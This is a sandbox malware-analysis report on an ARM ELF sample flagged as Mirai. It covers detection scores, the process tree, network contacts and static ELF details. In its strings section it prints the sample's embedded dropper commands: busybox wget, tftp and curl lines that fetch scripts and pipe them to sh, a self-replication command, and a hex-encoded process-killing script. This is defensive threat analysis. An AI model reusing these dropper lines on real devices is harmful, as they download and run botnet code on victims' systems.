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Linux Analysis Report
nklarm6.elf

Overview

General Information

Sample name:	nklarm6.elf
Analysis ID:	1543105
MD5:	a649abfeac43fd37e49a33b0b2e8fca1
SHA1:	556f340bd1765f37dba9438f85e1bc83792ea950
SHA256:	3766804b3437535d8cc49862d86a5b40649c952784b1d79a784a5c9bd776cb7d
Tags:	elfuser-abuse_ch
Infos:

Detection

Score:	48
Range:	0 - 100
Whitelisted:	false

Signatures

Multi AV Scanner detection for submitted file

Executes the "rm" command used to delete files or directories

Found strings indicative of a multi-platform dropper

Sample contains strings indicative of BusyBox which embeds multiple Unix commands in a single executable

Sample has stripped symbol table

Uses the "uname" system call to query kernel version information (possible evasion)

Classification

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1543105
Start date and time:	2024-10-27 09:05:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 0s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	defaultlinuxfilecookbook.jbs
Analysis system description:	Ubuntu Linux 20.04 x64 (Kernel 5.4.0-72, Firefox 91.0, Evince Document Viewer 3.36.10, LibreOffice 6.4.7.2, OpenJDK 11.0.11)
Analysis Mode:	default
Sample name:	nklarm6.elf
Detection:	MAL
Classification:	mal48.linELF@0/0@0/0

Runtime Messages

Command:	/tmp/nklarm6.elf
PID:	6284
Exit Code:	139
Exit Code Info:	SIGSEGV (11) Segmentation fault invalid memory reference
Killed:	False
Standard Output:
Standard Error:	qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Process Tree

system is lnxubuntu20

dash New Fork (PID: 6260, Parent: 4339)

rm (PID: 6260, Parent: 4339, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E

dash New Fork (PID: 6261, Parent: 4339)

rm (PID: 6261, Parent: 4339, MD5: aa2b5496fdbfd88e38791ab81f90b95b) Arguments: rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E

nklarm6.elf (PID: 6284, Parent: 6189, MD5: 5ebfcae4fe2471fcc5695c2394773ff1) Arguments: /tmp/nklarm6.elf

cleanup

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Multi AV Scanner detection for submitted file

Source: nklarm6.elf

ReversingLabs: Detection: 55%

Source: nklarm6.elf

String: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- | sh;/bin/busybox tftp -g -r tftp.sh -l- | sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- | shGET /dlr. HTTP/1.0

Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 34.249.145.219
Source: unknown	TCP traffic detected without corresponding DNS query: 109.202.202.202
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42
Source: unknown	TCP traffic detected without corresponding DNS query: 91.189.91.42

Source: nklarm6.elf	String found in binary or memory: http:///curl.sh
Source: nklarm6.elf	String found in binary or memory: http:///wget.sh

Source: unknown	Network traffic detected: HTTP traffic on port 43928 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 39256
Source: unknown	Network traffic detected: HTTP traffic on port 39256 -> 443

Source: Initial sample	String containing 'busybox' found: /bin/busybox
Source: Initial sample	String containing 'busybox' found: usage: busybox
Source: Initial sample	String containing 'busybox' found: /bin/busybox hostname PBOC
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo >
Source: Initial sample	String containing 'busybox' found: /bin/busybox echo -ne
Source: Initial sample	String containing 'busybox' found: /bin/busybox wget http://
Source: Initial sample	String containing 'busybox' found: /wget.sh -O- \| sh;/bin/busybox tftp -g
Source: Initial sample	String containing 'busybox' found: -r tftp.sh -l- \| sh;/bin/busybox ftpget
Source: Initial sample	String containing 'busybox' found: /bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrep
Source: Initial sample	String containing 'busybox' found: incorrectinvalidbadwrongfaildeniederrorretryenableshellshlinuxshellping ;shusage: busybox/bin/busybox hostname PBOC/bin/busybox echo > .b && sh .b && cd /bin/busybox echo -ne >> .ksh .k/bin/busybox wget http:///wget.sh -O- \| sh;/bin/busybox tftp -g -r tftp.sh -l- \| sh;/bin/busybox ftpget ftpget.sh ftpget.sh && sh ftpget.sh;curl http:///curl.sh -o- \| shGET /dlr. HTTP/1.0
Source: Initial sample	String containing 'busybox' found: > .d/bin/busybox chmod +x .d; ./.d; ./dvrHelper selfrepThe People's/var//var/run//var/tmp//dev//dev/shm//etc//mnt//usr//boot//home/"\x23\x21\x2F\x62\x69\x6E\x2F\x73\x68\x0A\x0A\x66\x6F\x72\x20\x70\x72\x6F\x63\x5F\x64\x69\x72\x20\x69\x6E\x20\x2F\x70\x72\x6F\x63""\x2F\x2A\x3B\x20\x64\x6F\x0A\x20\x20\x20\x20\x70\x69\x64\x3D\x24\x7B\x70\x72\x6F\x63\x5F\x64\x69\x72\x23\x23\x2A\x2F\x7D\x0A\x0A""\x20\x20\x20\x20\x72\x65\x73\x75\x6C\x74\x3D\x24\x28\x6C\x73\x20\x2D\x6C\x20\x22\x2F\x70\x72\x6F\x63\x2F\x24\x70\x69\x64\x2F\x65""\x78\x65\x22\x20\x32\x3E\x20\x2F\x64\x65\x76\x2F\x6E\x75\x6C\x6C\x29\x0A\x0A\x20\x20\x20\x20\x69\x66\x20\x5B\x20\x22\x24\x72\x65""\x73\x75\x6C\x74\x22\x20\x21\x3D\x20\x22\x24\x7B\x72\x65\x73\x75\x6C\x74\x25\x28\x64\x65\x6C\x65\x74\x65\x64\x29\x7D\x22\x20\x5D""\x3B\x20\x74\x68\x65\x6E\x0A\x20\x20\x20\x20\x20\x20\x20\x20\x6B\x69\x6C\x6C\x20\x2D\x39\x20\x22\x24\x70\x69\x64\x22\x0A\x20\x20""\x20\x20\x66\x69\x0A\x64\x6F\x6E\x65\x0A"armarm5arm6arm7mipsmpslppcspcsh4$z

Source: ELF static info symbol of initial sample

.symtab present: no

Source: classification engine

Classification label: mal48.linELF@0/0@0/0

Source: /usr/bin/dash (PID: 6260)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E			Jump to behavior
Source: /usr/bin/dash (PID: 6261)	Rm executable: /usr/bin/rm -> rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E			Jump to behavior

Source: /tmp/nklarm6.elf (PID: 6284)

Queries kernel information via 'uname':

Jump to behavior

Source: nklarm6.elf, 6284.1.00005624da0c2000.00005624da1f0000.rw-.sdmp	Binary or memory string: $V!/etc/qemu-binfmt/arm
Source: nklarm6.elf, 6284.1.00007fff6f2e6000.00007fff6f307000.rw-.sdmp	Binary or memory string: x86_64/usr/bin/qemu-arm/tmp/nklarm6.elfSUDO_USER=saturninoPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/binDISPLAY=:1.0XAUTHORITY=/run/user/1000/gdm/XauthoritySUDO_UID=1000TERM=xterm-256colorCOLORTERM=truecolorLOGNAME=rootUSER=rootLANG=en_US.UTF-8SUDO_COMMAND=/bin/bashHOME=/rootMAIL=/var/mail/rootSUDO_GID=1000SHELL=/bin/bash/tmp/nklarm6.elf
Source: nklarm6.elf, 6284.1.00005624da0c2000.00005624da1f0000.rw-.sdmp	Binary or memory string: /etc/qemu-binfmt/arm
Source: nklarm6.elf, 6284.1.00007fff6f2e6000.00007fff6f307000.rw-.sdmp	Binary or memory string: /usr/bin/qemu-arm
Source: nklarm6.elf, 6284.1.00007fff6f2e6000.00007fff6f307000.rw-.sdmp	Binary or memory string: qemu: uncaught target signal 11 (Segmentation fault) - core dumped

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	1 Scripting	Valid Accounts	Windows Management Instrumentation	1 Scripting	Path Interception	1 File Deletion	OS Credential Dumping	11 Security Software Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	Boot or Logon Initialization Scripts	Rootkit	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	1 Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service

Malware Configuration

⊘No configs have been found

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Number of created Files
Is malicious
Internet

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Source	Detection	Scanner	Label	Link
nklarm6.elf	55%	ReversingLabs	Linux.Backdoor.Mirai

Dropped Files

⊘No Antivirus matches

Domains

⊘No Antivirus matches

URLs

⊘No Antivirus matches

Domains and IPs

Contacted Domains

⊘No contacted domains info

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http:///wget.sh	nklarm6.elf	false		unknown
http:///curl.sh	nklarm6.elf	false		unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
34.249.145.219	unknown	United States	16509	AMAZON-02US	false
109.202.202.202	unknown	Switzerland	13030	INIT7CH	false
91.189.91.42	unknown	United Kingdom	41231	CANONICAL-ASGB	false

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
34.249.145.219	bot.m68k.elf	Get hash	malicious	Mirai, Okiru	Browse
	YIztve8dU8.elf	Get hash	malicious	Mirai	Browse
	bot.x86_64.elf	Get hash	malicious	Mirai, Gafgyt, Okiru	Browse
	boatnet.arm7.elf	Get hash	malicious	Mirai	Browse
	x.rar.elf	Get hash	malicious	Unknown	Browse
	Demon.arm4.elf	Get hash	malicious	Gafgyt, Mirai	Browse
	la.bot.arm7.elf	Get hash	malicious	Unknown	Browse
	i.elf	Get hash	malicious	Mirai	Browse
	la.bot.arm6.elf	Get hash	malicious	Unknown	Browse
	R3g63pgiCg.elf	Get hash	malicious	Gafgyt, Mirai	Browse
109.202.202.202	kpLwzBouH4.elf	Get hash	malicious	Unknown	Browse	ch.archive.ubuntu.com/ubuntu/pool/main/f/firefox/firefox_92.0%2bbuild3-0ubuntu0.20.04.1_amd64.deb
91.189.91.42	boatnet.arc.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Mirai	Browse
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse
	oovw68w2UV.elf	Get hash	malicious	BlackBasta	Browse
	sshd.elf	Get hash	malicious	Unknown	Browse
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse
	x86.elf	Get hash	malicious	Unknown	Browse
	.i.elf	Get hash	malicious	Unknown	Browse
	arm5.elf	Get hash	malicious	Unknown	Browse
	spc.elf	Get hash	malicious	Unknown	Browse

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CANONICAL-ASGB	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	oovw68w2UV.elf	Get hash	malicious	BlackBasta	Browse	91.189.91.42
	sshd.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	91.189.91.42
	x86.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	.i.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	arm5.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
	spc.elf	Get hash	malicious	Unknown	Browse	91.189.91.42
INIT7CH	boatnet.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	boatnet.mpsl.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	oovw68w2UV.elf	Get hash	malicious	BlackBasta	Browse	109.202.202.202
	sshd.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	109.202.202.202
	x86.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	.i.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	arm5.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
	spc.elf	Get hash	malicious	Unknown	Browse	109.202.202.202
AMAZON-02US	splmips.elf	Get hash	malicious	Unknown	Browse	108.143.220.205
	nabmpsl.elf	Get hash	malicious	Unknown	Browse	52.37.133.172
	splx86.elf	Get hash	malicious	Unknown	Browse	3.165.95.64
	jklarm.elf	Get hash	malicious	Unknown	Browse	3.196.103.197
	nklmips.elf	Get hash	malicious	Unknown	Browse	35.73.110.231
	arm7.elf	Get hash	malicious	Mirai	Browse	52.34.218.231
	sh4.elf	Get hash	malicious	Mirai	Browse	13.52.96.72
	m68k.elf	Get hash	malicious	Mirai	Browse	54.79.77.104
	la.bot.m68k.elf	Get hash	malicious	Unknown	Browse	3.14.123.23
	la.bot.arc.elf	Get hash	malicious	Mirai	Browse	54.171.230.55

JA3 Fingerprints

⊘No context

Dropped Files

⊘No context

Created / dropped Files

⊘No created / dropped files found

Static File Info

General

File type:	ELF 32-bit LSB executable, ARM, EABI4 version 1 (SYSV), statically linked, stripped
Entropy (8bit):	6.076920772293643
TrID:	ELF Executable and Linkable format (generic) (4004/1) 100.00%
File name:	nklarm6.elf
File size:	67'824 bytes
MD5:	a649abfeac43fd37e49a33b0b2e8fca1
SHA1:	556f340bd1765f37dba9438f85e1bc83792ea950
SHA256:	3766804b3437535d8cc49862d86a5b40649c952784b1d79a784a5c9bd776cb7d
SHA512:	bf694e66bcb70796c9c9a436f3e14b65f6d69c1c9c4dc152b8337d19f9dcad584dd5ced7caa231be12e0986763f8e170fae89cc728d8a8c294147ced79fce754
SSDEEP:	1536:3JnMhL7r0ZXlYqDD7jFDX7mwdjbtMdinAUxkgnnI8sR:QLv0bzTxX7mUAUxkgnnI
TLSH:	0C630746B881CA66C5D552BEF92E128D332727A8D3DF7213DD106B547B8A83F0D3BA11
File Content Preview:	.ELF..............(.....T...4...........4. ...(.....................8...8...............<...<...8...8...............Q.td..................................-...L..................@-.,@...0....S..... 0....S.........../..0...0...@..../.p.......8.....-.@0....S

Static ELF Info

ELF header
Class:	ELF32
Data:	2's complement, little endian
Version:	1 (current)
Machine:	ARM
Version Number:	0x1
Type:	EXEC (Executable file)
OS/ABI:	UNIX - System V
ABI Version:	0
Entry Point Address:	0x8154
Flags:	0x4000002
ELF Header Size:	52
Program Header Offset:	52
Program Header Size:	32
Number of Program Headers:	3
Section Header Offset:	67304
Section Header Size:	40
Number of Section Headers:	13
Header String Table Index:	12

Sections

Name	Type	Address	Offset	Size	EntSize	Flags	Flags Description	Align
	NULL	0x0	0x0	0x0	0x0	0x0		0
.init	PROGBITS	0x8094	0x94	0x10	0x0	0x6	AX	4
.text	PROGBITS	0x80b0	0xb0	0xf2ec	0x0	0x6	AX	16
.fini	PROGBITS	0x1739c	0xf39c	0x10	0x0	0x6	AX	4
.rodata	PROGBITS	0x173ac	0xf3ac	0x108c	0x0	0x2	A	4
.init_array	INIT_ARRAY	0x2043c	0x10440	0x4	0x0	0x3	WA	4
.fini_array	FINI_ARRAY	0x20440	0x10444	0x4	0x0	0x3	WA	4
.jcr	PROGBITS	0x20444	0x10448	0x4	0x0	0x3	WA	4
.got	PROGBITS	0x20448	0x1044c	0x74	0x4	0x3	WA	4
.data	PROGBITS	0x204bc	0x104c0	0x1b4	0x0	0x3	WA	4
.bss	NOBITS	0x20670	0x10674	0x245c	0x0	0x3	WA	4
.ARM.attributes	ARM_ATTRIBUTES	0x0	0x10674	0x10	0x0	0x0		1
.shstrtab	STRTAB	0x0	0x10684	0x62	0x0	0x0		1

Program Segments

Type	Offset	Virtual Address	Physical Address	File Size	Memory Size	Entropy	Flags	Flags Description	Align	Section Mappings
LOAD	0x0	0x8000	0x8000	0x10438	0x10438	6.1078	0x5	R E	0x8000	.init .text .fini .rodata
LOAD	0x1043c	0x2043c	0x20438	0x238	0xa690	2.3548	0x6	RW	0x8000	.init_array .fini_array .jcr .got .data .bss
GNU_STACK	0x0	0x0	0x0	0x0	0x0	0.0000	0x7	RWE	0x4

Network Behavior

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 27, 2024 09:06:43.313535929 CET	43928	443	192.168.2.23	91.189.91.42
Oct 27, 2024 09:06:43.470402002 CET	443	39256	34.249.145.219	192.168.2.23
Oct 27, 2024 09:06:43.470779896 CET	39256	443	192.168.2.23	34.249.145.219
Oct 27, 2024 09:06:43.476113081 CET	443	39256	34.249.145.219	192.168.2.23
Oct 27, 2024 09:07:00.463319063 CET	42516	80	192.168.2.23	109.202.202.202
Oct 27, 2024 09:07:04.558607101 CET	43928	443	192.168.2.23	91.189.91.42
Oct 27, 2024 09:07:45.513087034 CET	43928	443	192.168.2.23	91.189.91.42

System Behavior

Analysis Process: dash PID: 6260, Parent PID: 4339

General

Start time (UTC):	08:06:42
Start date (UTC):	27/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6260, Parent PID: 4339

General

Start time (UTC):	08:06:42
Start date (UTC):	27/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: dash PID: 6261, Parent PID: 4339

General

Start time (UTC):	08:06:42
Start date (UTC):	27/10/2024
Path:	/usr/bin/dash
Arguments:	-
File size:	129816 bytes
MD5 hash:	1e6b1c887c59a315edb7eb9a315fc84c

Chronological Activities

Analysis Process: rm PID: 6261, Parent PID: 4339

General

Start time (UTC):	08:06:42
Start date (UTC):	27/10/2024
Path:	/usr/bin/rm
Arguments:	rm -f /tmp/tmp.jsBOQLhsc4 /tmp/tmp.t5OlO1GOui /tmp/tmp.9AT74cqH1E
File size:	72056 bytes
MD5 hash:	aa2b5496fdbfd88e38791ab81f90b95b

Chronological Activities

Analysis Process: nklarm6.elf PID: 6284, Parent PID: 6189

General

Start time (UTC):	08:06:43
Start date (UTC):	27/10/2024
Path:	/tmp/nklarm6.elf
Arguments:	/tmp/nklarm6.elf
File size:	4956856 bytes
MD5 hash:	5ebfcae4fe2471fcc5695c2394773ff1

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary (ex: Ingress Tool Transfer ) may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Deletion
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

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Linux Analysis Report nklarm6.elf

Overview

General Information

Detection

Signatures

Classification

General Information

Warnings

Runtime Messages

Process Tree

Yara Signatures

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Spreading

Networking

System Summary

Persistence and Installation Behavior

Malware Analysis System Evasion

Mitre Att&ck Matrix

Malware Configuration

Behavior Graph

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Domains

URLs

Domains and IPs

Contacted Domains

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

Static ELF Info

ELF header

Sections

Program Segments

Network Behavior

Network Port Distribution

TCP Packets

System Behavior

Analysis Process: dash PID: 6260, Parent PID: 4339

General

Chronological Activities

Analysis Process: rm PID: 6260, Parent PID: 4339

General

Chronological Activities

Analysis Process: dash PID: 6261, Parent PID: 4339

General

Chronological Activities

Analysis Process: rm PID: 6261, Parent PID: 4339

General

Chronological Activities

Analysis Process: nklarm6.elf PID: 6284, Parent PID: 6189

General

Chronological Activities

Linux Analysis Report
nklarm6.elf